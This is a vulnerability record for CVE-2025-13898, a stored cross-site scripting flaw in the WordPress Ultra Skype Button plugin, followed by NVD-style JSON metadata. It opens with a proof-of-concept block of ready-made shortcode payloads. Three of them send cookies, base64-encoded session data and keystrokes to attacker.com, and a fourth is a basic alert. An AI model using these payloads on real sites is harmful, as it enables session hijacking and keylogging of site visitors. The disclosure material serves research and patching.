CVE-2025-13898

<!-- WordPress Ultra Skype Button - Stored XSS PoC --> <!-- Requires Contributor-level access or higher --> <!-- Basic XSS Payload --> [ultra_skype btn_id='" onmouseover="alert(document.cookie)" style="background:red"'] <!-- Steal Cookies PoC --> [ultra_skype btn_id='"><script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'] <!-- Session Hijacking PoC --> [ultra_skype btn_id='"><img src=x onerror="fetch('https://attacker.com/log?data='+btoa(document.cookie))">'] <!-- Keylogger Payload --> [ultra_skype btn_id='"><script>document.onkeypress=function(e){fetch('https://attacker.com/k?k='+e.key)}</script>'] <!-- Remediation: Update to latest version of the plugin -->

{"cve": {"id": "CVE-2025-13898", "sourceIdentifier": "[email protected]", "published": "2025-12-06T06:15:53.347", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Ultra Skype Button plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'btn_id' parameter of the [ultra_skype] shortcode in all versions up to, and including, 1.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/ultra-skype-button/tags/1.0/index.php#L39", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ultra-skype-button/tags/1.0/index.php#L44", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ultra-skype-button/trunk/index.php#L39", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ultra-skype-button/trunk/index.php#L44", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/20b3c88f-a0df-4814-83b6-27440c5ad38e?source=cve", "source": "[email protected]"}]}}